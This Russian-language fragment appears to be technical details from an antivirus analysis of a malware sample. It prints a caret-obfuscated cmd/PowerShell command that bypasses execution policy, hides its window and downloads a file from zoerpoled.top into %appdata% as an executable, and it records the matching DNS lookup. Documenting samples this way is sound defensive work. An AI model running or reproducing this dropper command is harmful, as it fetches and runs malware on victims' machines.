Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "p^OW^E^rShelL^.E^Xe -ExE^c^U^TIoNPoLICY^ BYp^Ass -^NOprOFiL^e -^wI^NdOwSty^LE Hi^d^D^En (N^Ew-ob^J^ect s^YsT^eM^.N^E^T^.W^eBC^LieNt).D^OwNL^O^A^DFI^LE^('http://www.zoerpoled.top/r...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "p^OW^E^rShelL^.E^Xe -ExE^c^U^TIoNPoLICY^ BYp^Ass -^NOprOFiL^e -^wI^NdOwSty^LE Hi^d^D^En (N^Ew-ob^J^ect s^YsT^eM^.N^E^T^.W^eBC^LieNt).D^OwNL^O^A^DFI^LE^('http://www.zoerpoled.top/r...' (со скрытым окном)